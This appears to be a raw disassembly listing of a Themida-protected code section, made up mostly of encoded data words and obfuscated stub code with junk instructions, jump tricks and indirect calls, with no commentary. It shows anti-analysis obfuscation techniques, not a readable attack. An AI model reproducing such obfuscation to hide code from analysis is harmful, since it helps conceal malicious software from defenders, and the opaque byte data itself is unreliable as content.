dd 858907A8h, 7A82509h, 0A598D8Bh, 0F88B07A8h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 0BB66E1C3h
dd 0BD8B3E50h, 7A809BDh, 1885BD83h, 0F0007A8h, 0BA84h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 0C1165147h, 0E51D28AAh, 0C2BB6625h, 0B872h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 796F30C3h, 212FD7FEh, 0BF60B343h, 3BB6D266h
dd 4E4D8D8Dh, 10E807A8h, 69000000h, 4979305Bh, 539D5F25h
dd 42E568F1h, 313EBC7Ch, 0A821BD95h, 0E1FF5F07h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D9C35747h, 0A07EB6C2h
dd 11E8FE5Eh, 65000000h, 0CBC9E4CDh, 90E1C10Fh, 0DFB64522h
dd 702072B2h, 820Fh, 835F0000h, 0A80939BDh, 840F0007h
dd 397h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0BDC35545h, 0D5FB3A89h, 0DA8B957Dh, 939BD83h, 0F0107A8h
dd 38184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 3DA8FE7h, 0F8AB8D45h, 939BD83h, 0F0307A8h
dd 31B86h, 0BF0F6000h, 0E78166D8h, 8C668CF2h, 0B98589D9h
dd 5607A822h, 805FDE8Bh, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0A46D1C3h, 0DD840FC9h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 3EC3C350h, 85290DB3h, 7A81835h
dd 8BD5F380h, 0A80BB185h, 0C5BD8B07h, 3307A821h, 0A8287185h
dd 44BB6607h, 880F50BCh, 0
; ---------------------------------------------------------------------------
mov [esp], eax
cmc
push 0
push 0
push ebp
call sub_5CF2D5
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF2D5 proc near ; CODE XREF: Themida_:005CF2CDp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5CF2D5 endp
; ---------------------------------------------------------------------------
setalc
xor dh, [ebp-7E992DCEh]
xlat
cmp dl, [ebx]
push 0A9DF5AFCh
add dword ptr [esp], 563FA903h
pusha
sbb eax, 608C1A29h
add [ebp+7A80C61h], ecx
popa
adc bl, 9Eh
call dword ptr [ebp+7A80539h]
jmp loc_5CF321
; ---------------------------------------------------------------------------
db 5
dd 0F40B8617h, 0DF1E2845h
db 6Ah
; ---------------------------------------------------------------------------
loc_5CF321: ; CODE XREF: Themida_:005CF312j
mov [ebp+7ABBB2Bh], eax
jmp loc_5CF33B
; ---------------------------------------------------------------------------
dd 53DC3AA0h, 8EE32C66h, 2C38FDECh
db 0CDh, 45h, 97h
; ---------------------------------------------------------------------------
loc_5CF33B: ; CODE XREF: Themida_:005CF327j
jmp loc_5CF4CC
; ---------------------------------------------------------------------------
dd 10E8h, 0A06B200h, 8F75F034h, 0FE13FBF8h, 0E1355DC9h
dd 0B19D8BBCh, 5B07A832h, 0BB23858Bh, 6A07ABh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 1BBBA1C3h, 0C775C571h, 1800h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0C3D722BAh
dd 0F0DB33Eh, 181h, 0B58BF800h, 7ABBB27h, 0CCD858Bh, 6A07A8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 7F319AC3h, 9D8BE87Ah, 7A82E61h, 89D9D8Bh, 68907A8h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 98C35343h
dd 7B99529h, 858B07A8h, 7A80BB1h, 28CD9D8Bh, 468907A8h
dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 20E33EF3h, 0CC5412BBh, 0D9BD8B6Fh, 5007A826h
dd 10E8h, 35E70A00h, 7B9E0E03h, 0B3C4D39Bh, 0BE431613h
dd 0F2BB6602h, 34895B2Ah, 0DE924h, 8F1E0000h, 3E6A6F0Bh
dd 9E806394h, 23509EF5h, 0A804719Dh, 23B5FF07h, 0F07ABBBh
dd 87h, 4AEE6800h, 34813F67h, 78491124h, 9E93Fh, 6E020000h
dd 3B633D32h, 8DF97FC6h, 0ABBB2B85h, 15BB6607h, 5050503Bh
dd 0FD88B52h, 0F1BF6631h, 5B585A1Fh, 0F5240489h, 53995FFh
dd 9D2307A8h, 7A826D9h
; ---------------------------------------------------------------------------
loc_5CF4CC: ; CODE XREF: Themida_:loc_5CF33Bj
popa
push 0
push edi
call sub_5CF4D8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF4D8 proc near ; CODE XREF: Themida_:005CF4D0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5CF4D8 endp
; ---------------------------------------------------------------------------
dd 6AE8D7D1h, 17902A1h, 0A803B595h, 3985C707h, 307A809h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 9DB6C351h, 0E6BFEF64h, 837B192Ch
dd 0ABBB2BBDh, 840F0007h, 2Ch, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0A3C35242h, 3C4F0898h, 21E950h
dd 9D8B0000h, 7A825FDh, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 73F0C356h, 399D8B26h
dd 8007A825h, 6A3ECBh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 2C482EC3h, 0BD83FA8Bh, 7A80939h
dd 15850F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 9DC9C356h, 8E2ECE2Dh
dd 0DEBF0F11h, 0BB2BBD83h, 0F0007ABh, 3E384h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 2B017321h, 0EC4617C5h, 0BB2BB5FFh, 6A07ABh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 7F1B1DC3h, 0EE96924h, 95000000h, 8C25A4AAh, 0E4D183C7h
dd 305AB3DDh, 7595FFEEh, 6A07A824h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 2718C356h
dd 0EE91Dh, 49BA0000h, 0BAA70860h, 7DD66F27h, 86C0EAD8h
dd 0BB1FB58Bh, 0D88B07ABh, 106C7h, 6A0001h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 7FE36BC3h
dd 3D94E03Ch, 2F959589h, 0BF9607A8h, 451EFBA1h, 0D88B6650h
dd 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0D7420EDFh, 80605363h, 9589E2CFh, 7A80505h
dd 0BD8B5F61h, 7A80609h, 0BB2BB5FFh, 0F88B07ABh, 23E595FFh
dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 665E31C3h, 5ACACF81h, 8E93F7BFh, 1FB58B01h
dd 6A07ABBBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 567DC355h, 0B11ADB6Ch, 0E8CCCA28h
dd 0Bh, 0F8ABE0F9h, 0F8DDF3E7h, 8956AED9h, 0A825FD85h
dd 858B5F07h, 7A82941h, 0C48689FCh, 8B000000h, 0A80645BDh
dd 31958B07h, 6A07A817h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0FBA1C352h, 0DD25170Ah
dd 2904C283h, 0A81C8595h, 20508907h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 60C35343h, 6055F672h, 0FCAB70Fh
dd 68Eh, 800F00h, 61000000h, 0FEBF0F50h, 0C1858D5Bh, 6A07ABCFh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 9F18C356h, 75C11BCFh, 660DC726h, 8689FA8Bh
dd 0B8h, 8BFA8B66h, 0A83051BDh, 6A006A07h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 892BC356h
dd 0A82AA595h, 2BB5FF07h, 6A07ABBBh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 92DDC352h
dd 95FF9CA5h, 7A814E5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 3CC35040h, 0CF711286h, 0E9112B5Dh, 0Dh
dd 0CF4F1179h, 63EC144Bh, 89B9C898h, 0EABB66DEh, 7E95020h
dd 79000000h, 5CF1DFCBh, 34895826h, 2BB5FF24h, 6A07ABBBh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 48AFC355h, 1D0995FFh, 0B58907A8h, 7A82949h
dd 1DFDBD83h, 0F0007A8h, 4484h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 50FE6645h
dd 56BB5250h, 0F0D18A0h, 9E831h, 77930000h, 55B70F91h
dd 603A2940h, 585A5F61h, 81243489h, 4341B1CFh, 2BB5FF6Eh
dd 8907ABBBh, 0A8069195h, 0DAB70F07h, 10D595FFh, 0BD8907A8h
dd 7A81461h, 0BB2BB5FFh, 820F07ABh, 8, 75BD8B57h, 5B07A825h
dd 0B3995FFh, 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 0D2111C3h, 4585891Eh, 8B07A830h
dd 9D0351DFh, 7A8042Dh, 0F5BD835Fh, 207A831h, 1A840Fh
dd 8C0F0000h, 6, 1059BD8Bh, 858B07A8h, 7A82981h, 0CB3A7BBh
dd 0C67Fh, 21C985C7h, 7A8h, 0D8B30000h, 0FFF43DE9h, 55006AFFh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0E7F8ABE0h, 0D9F8DDF3h, 9BBC18Bh, 8D2D39E7h, 0A8042585h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 791D5429h, 335805BCh, 89DE8A11h, 0A83135B5h
dd 0A58D8907h, 5007A80Eh, 6A6854BBh, 2404890Ah, 14E960h
dd 53670000h, 0DAA05AC3h, 0FFDC86DEh, 3A91A8CCh, 64CCFB33h
dd 6A617E7Ch, 0B5B58900h, 0E907A80Fh, 11h, 0FC3227E7h
dd 0E5DF1F7Fh, 4479D5EFh, 2E935D47h, 66006A79h, 858DFB8Bh
dd 7ACE84Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 12C35545h, 1F055D19h, 29D88B66h, 0A810FD85h, 5C08307h
dd 50DBB70Fh, 5E852h, 68BF0000h, 50B177B3h, 5A310F52h
dd 895B5F58h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 0EE16B4C3h, 52D6FAACh, 5DBD8B49h
dd 6007A815h, 705FAABEh, 11B96620h, 6A6138h, 14959D8Bh
dd 6A07A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 72C35747h, 3995FF89h, 8907A81Bh, 0A806AD95h, 3B8D8D07h
dd 6A07AB9Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 0FCADC356h, 0EE858C0h, 9E000000h
dd 36D2EF4Ch, 5216F03Fh, 2567A189h, 6D8589ADh, 5B07A82Eh
dd 2A4D8589h, 0D1FF07A8h, 0D014CB81h, 0BD833737h, 7A806A5h
dd 0E4850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 15B0C356h, 0D6A5CC6Ah
dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 62942FC3h, 0BE9D908h, 76000000h, 0CA6AC3A3h
dd 0D2376B6h, 66523778h, 8B5BF98Bh, 0A82C3DBDh, 7E85007h
dd 70000000h, 12119291h, 0D88A8EA2h, 2404895Fh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 14C35747h, 0AADF8024h
dd 25B1B509h, 95FF07A8h, 7A814E5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 7C35141h, 0EE8h, 192B4500h
dd 676C82A4h, 2EF93C46h, 0F9BA0E07h, 0BE95Bh, 0EBF70000h
dd 0B9D7381Eh, 25150DEEh, 0D9BD3153h, 0E907A818h, 0EBBh
dd 0E8h, 0ED815D00h, 7ACE858h, 23D58D09h, 6A07A8h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0F2560BC3h, 0CA50F18Bh, 9D8B7184h, 7A80FD9h, 858DD98Ah
dd 7AB8C03h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0A1C35141h, 21C370B4h, 8589C70Fh, 7A804F1h, 1800Fh
dd 90F90000h, 6E96050h, 41000000h, 0F4AFAD72h, 0FE8FBE49h
dd 90613652h, 0FF64FAB3h, 35h, 5EBB6600h, 2589646Ch, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5CFD63
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFD63 proc near ; CODE XREF: Themida_:005CFD5Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5CFD63 endp
; ---------------------------------------------------------------------------
mov al, ds:765D9082h
mov eax, 8B097EB1h
sti
inc dword ptr [ebp+7A80EE5h]
cmc
push 0FFFFFFFFh
push 0
push edi
call sub_5CFD92
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFD92 proc near ; CODE XREF: Themida_:005CFD8Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5CFD92 endp
; ---------------------------------------------------------------------------
dw 666Fh
; ---------------------------------------------------------------------------
mov edi, 0B5FF3315h
mov cl, 8
test al, 7
or ebx, 67A0454Fh
call dword ptr [ebp+7A8246Dh]
jmp loc_5CFEC0
; ---------------------------------------------------------------------------
dw 0B0h
dd 15059D33h, 70E607A8h, 5890Fh, 1BB0000h, 8157A289h, 345852EFh
dd 0E871E467h, 12h, 0E290C79h, 0E6104E24h, 0BAFF1AC1h
dd 4EA70CCFh, 9D8B1DF1h, 7A80861h, 0F613C5Fh, 0BF83h, 0B60FFC00h
dd 6BAC8h, 0BD2B0000h, 7A82C45h, 0EE8C18Bh, 5B000000h
dd 77F22A60h, 0D8AB80F6h, 3E7E0C58h, 0C0BF6640h, 0E8C15B1Ch
dd 8DF38104h, 0F2BF0E8h, 0F766FABFh, 8BC82BE2h, 1D18BFEh
dd 0A81091B5h, 76E907h, 0CB810000h, 0A6FB55Fh, 4858Bh
dd 7E90000h, 9000000h, 1A064257h, 0C0833C7Eh, 0D7816607h
dd 0C0839C37h, 0DAB70F00h, 830FD03Bh, 17h, 6E9h, 0A7090200h
dd 66907665h, 382FD381h, 33E9h, 8BFD8A00h, 0FFFFFF8Dh
dd 2D9D8BFFh, 8307A821h, 840F01E1h, 1Ch, 83FB8B66h, 0FFFFFFA5h
dd 89F5FEFFh, 495h, 0FCDB8100h, 0E91EF871h, 0
; ---------------------------------------------------------------------------
loc_5CFEC0: ; CODE XREF: Themida_:005CFDB9j
lea esi, [ebp+7AC5FD9h]
push 0
sub edi, 3A25A8B0h
call dword ptr [ebp+7A80D21h]
push 0
push ebp
call sub_5CFEDF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFEDF proc near ; CODE XREF: Themida_:005CFED7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5CFEDF endp
; ---------------------------------------------------------------------------
xor ebp, [ecx-6Dh]
xor [ebp+7A80B05h], edi
mov ecx, 0FACh
push 0
push ebp
call sub_5CFF08
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFF08 proc near ; CODE XREF: Themida_:005CFF00p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5CFF08 endp
; ---------------------------------------------------------------------------
retn 54E5h
; ---------------------------------------------------------------------------
mov [ebx-75h], esp
mov ebp, 7A81E09h
and ecx, 0FFFFFFFCh
push 0
push ebx
call sub_5CFF31
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFF31 proc near ; CODE XREF: Themida_:005CFF29p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5CFF31 endp
; ---------------------------------------------------------------------------
inc esi
movlps xmm0, qword ptr [eax+4Ch]
cld
mov di, si
sub eax, eax
push 0
push eax
call sub_5CFF57
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFF57 proc near ; CODE XREF: Themida_:005CFF4Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5CFF57 endp
; ---------------------------------------------------------------------------
db 5Fh
dd 14E8BD30h, 6A000000h, 131A6DCEh, 4B9213EFh, 0BDD5BB69h
dd 0E9D700Eh, 5BB42610h, 0BAh, 0B5958900h, 0AD07A834h
dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 97DFC353h
dd 0F5084F1h, 689h, 519D2B00h, 5B07A830h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 14h, 0E0C35040h, 0D9852957h
dd 5F07A803h, 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 82598655h, 0B5C3E4CFh
dd 2DE59529h, 958B07A8h, 7A81731h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0BDC35646h, 340C6E14h, 8F0F62h
dd 8B000000h, 0A80A598Dh, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 57600D35h
dd 0E85A50B3h, 8, 43C16182h, 0CB6C6613h, 26BD8531h, 615A07A8h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD035818h
dd 7A830B1h, 2C55B589h, 0BD8307A8h, 7A81885h, 67840F00h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 29E9C350h, 0FAA90101h, 9D8BF2A1h
dd 7A81429h, 3FEB8166h, 0B80Eh, 9D8B0000h, 7A832C1h, 4E4D8D8Dh
dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0EBAA02C3h, 0E1FFFFE3h, 23418D01h, 0BD8307A8h
dd 7A80939h, 0D1840F00h, 0BB000004h, 50C555F3h, 25A99D8Bh
dd 0BD8307A8h, 7A80939h, 0D4840F01h, 66000004h, 0BD83FE8Bh
dd 7A80939h, 8E860F03h, 60000004h, 0CCEAC381h, 0E6800594h
dd 9D8B612Ah, 7A81D2Dh, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 8E0FD55Dh, 16h, 108C0Fh
dd 0BE90000h, 79000000h, 52DBE427h, 9634E09Ch, 8C6618BCh
dd 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 0FE1B4A0h, 85h, 4E18000h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 15h, 6FC35646h, 0FB8B66F4h
dd 2AA5BD8Bh, 0C90A07A8h, 126840Fh, 81660000h, 8B4131C3h
dd 0A80BB185h, 14E807h, 2A2C0000h, 1AF6086h, 9B533F4Fh
dd 1FEC904Bh, 95D0D9A2h, 8D318DDBh, 7A83095h, 7185335Fh
dd 0F07A828h, 18Ch, 0E990F500h, 0Ah, 506FD1BCh, 3430E078h
dd 665096A6h, 190FE8Bh, 0A834C5B5h, 6A006A07h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0C40BC352h, 0C8D8CABh, 68A8B31Dh, 0DECDB316h, 0FE8h
dd 1DDDF600h, 0A7246D88h, 0C9B3656h, 0EE39D653h, 5B505250h
dd 0F88A310Fh, 815F585Ah, 50E92404h, 9D332151h, 7A8190Dh
dd 53995FFh, 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 0E99DBBC3h, 0Bh, 0C50F8F42h, 0E1BFCF83h
dd 8960F9A6h, 0ABBB2B85h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0A84574CCh
dd 0EA601B50h, 27E1BD8Bh, 66E907A8h, 0E9000002h, 0Fh, 96F615A4h
dd 0B443945Eh, 84D1239Ah, 0F901D176h, 0BB23858Bh, 0F88B07ABh
dd 1800C7h, 800F0000h, 6, 14459D89h, 0B58B07A8h, 7ABBB27h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A3C35242h
dd 0F421063Bh, 0DC61B76Bh, 6810Fh, 0BD8B0000h, 7A82A0Dh
dd 66FBB70Fh, 0B70FDB81h, 0CCD858Bh, 6A07A8h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4623C1C3h
dd 81B23EE0h, 51FD10C3h, 6A068914h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7F41C356h
dd 93FF09CAh, 7DBD23F0h, 0E807A829h, 0Eh, 90A4B758h, 9883402Fh
dd 0EF3AA5E8h, 5FF8C090h, 0BB1858Bh, 315707A8h, 0A830819Dh
dd 46895F07h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0DE782ED0h, 4C1E854h, 9BB6634h, 498D29DFh
dd 5007A80Fh, 348979B3h, 0D98B6624h, 6860Fh, 9D0B0000h
dd 7A810FDh, 0BB23B5FFh, 6A07ABh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0B75A4C3h, 8890Fh, 9500000h
dd 0A828D99Dh, 9D895B07h, 7A81CA1h, 90994768h, 60525018h
dd 0DCE5BE66h, 56310F61h, 5A5B5B56h, 24348158h, 188F9AB8h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4C35545h
dd 2189D248h, 0C2A0B295h, 41BD2B77h, 907A819h, 0A81A55B5h
dd 2B858D07h, 6A07ABBBh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 8CA4C357h, 0AE17BDB4h
dd 0D94D5B04h, 542EBF66h, 12E86050h, 4E000000h, 94028A0Fh
dd 0C1364C97h, 2B390D4Ah, 941C479Dh, 0DE8D9h, 4E4A0000h
dd 311D1C5Eh, 0C8ECCB78h, 5FC17CFDh, 61C0B459h, 6A240489h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 9AF9C350h, 0F1ABF736h, 3995FF70h, 6A07A805h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 0D189C353h, 0A1F224B2h, 8BBCBA7Ah, 0A82CD1BDh
dd 81666107h, 0C7E3DBDFh, 0A8093985h, 307h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0BD8B8A4Ch, 7A81755h, 0BB2BBD83h, 0F0007ABh, 3484h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0B529D9E5h, 7A80761h, 8099D2Bh, 21E907A8h
dd 89000000h, 0A825FDBDh, 0C305007h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0C933BB66h, 8AC9DF81h, 0BD832F41h
dd 7A80939h, 0C8850F03h, 8B000004h, 0A81CEDBDh, 2BBD8307h
dd 7ABBBh, 4B5840Fh, 0BE80000h, 2B000000h, 6E0D71C0h, 1646716Bh
dd 0DF81AA58h, 5EA388Ah, 2BB5FF5Fh, 2907ABBBh, 0A813618Dh
dd 0D18D8907h, 0FF07A833h, 0A8247595h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0F5924D0Ah, 14BB65FAh, 8B051836h, 0ABBB1FB5h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 27477EC7h, 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 96278CC3h, 0CE8h, 21C0FB00h
dd 0B45DAEAEh, 0BC24248Ch, 0C816BF06h, 505F46CBh, 0DEBF0F96h
dd 0BB2BB5FFh, 6A07ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0C74B5C3h, 0BD09F35Ah, 7A8305Dh
dd 23E595FFh, 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 7795D4C3h, 0B6F09F73h, 89C29D5Ch
dd 0A82CD19Dh, 1FB58B07h, 0F07ABBBh, 68Ah, 0DDBD8B00h
dd 8B07A807h, 0A8294185h, 0FBBF0F07h, 569BD8Bh, 868907A8h
dd 0C4h, 31958BF8h, 6A07A817h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 0B4B3C351h, 76CB6A0Ah
dd 8529CCEEh, 7A83271h, 0E904C283h, 6, 369DA8C8h, 14E99950h
dd 1D000000h, 420EDFA2h, 6C9563D7h, 8CF8EA20h, 819151A8h
dd 899BB0EBh, 85892050h, 7A80A09h, 0CFC1858Dh, 6A07ABh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0E2CF70C3h, 0DC5B9550h, 6650E8A2h, 8989DB81h, 0B886895Fh
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 1251C350h, 0FE9h, 0B8A28C00h
dd 9553A13Dh, 4834821Ch, 76BBB462h, 0BF0F006Ah, 2BB5FFFAh
dd 0E907ABBBh, 12h, 890B0153h, 0EEFDF228h, 0C0843B09h
dd 807D810h, 0CE9D6C4h, 1E000000h, 41A4968Ch, 0B59DA11Fh
dd 0FFA5D573h, 0A814E595h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 663AA8EFh
dd 96FAE2BBh, 88F0Fh, 50510000h, 5A310F52h, 60505B58h
dd 0BE85250h, 4A000000h, 0C8B439ECh, 0E2636E35h, 0F5A611Ch
dd 66585A31h, 9661F18Bh, 2C138BBFh, 2BB5FF39h, 6A07ABBBh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 1274C356h, 0BF668B47h, 95FF6D9Fh, 7A81D09h
dd 8F0F6060h, 0
; ---------------------------------------------------------------------------
jmp loc_5D0930
; ---------------------------------------------------------------------------
db 0B5h, 0DEh, 0Fh
dd 739F6C9Ah, 0DFC88E27h
; ---------------------------------------------------------------------------
loc_5D0930: ; CODE XREF: Themida_:005D0920j
popa
jmp loc_5D0948
; ---------------------------------------------------------------------------
dw 0B25h
dd 0D6D8094Dh, 403CDF60h, 53D318D6h, 2FFD8D2Fh
; ---------------------------------------------------------------------------
loc_5D0948: ; CODE XREF: Themida_:005D0931j
popa
cmp dword ptr [ebp+7A81DFDh], 0
jz loc_5D09C0
push 0
push edi
call sub_5D0961
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D0961 proc near ; CODE XREF: Themida_:005D0959p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5D0961 endp
; ---------------------------------------------------------------------------
db 0E0h, 2Ch, 55h
dd 2DF4B377h, 52506050h, 0BE9h, 69039E00h, 0CAE63B43h
dd 0DF06C15Ah, 8C0F310Fh, 0
; ---------------------------------------------------------------------------
pop edx
pop eax
mov cx, 176Ch
popa
mov [esp], esi
push 0
push edi
call sub_5D09A9
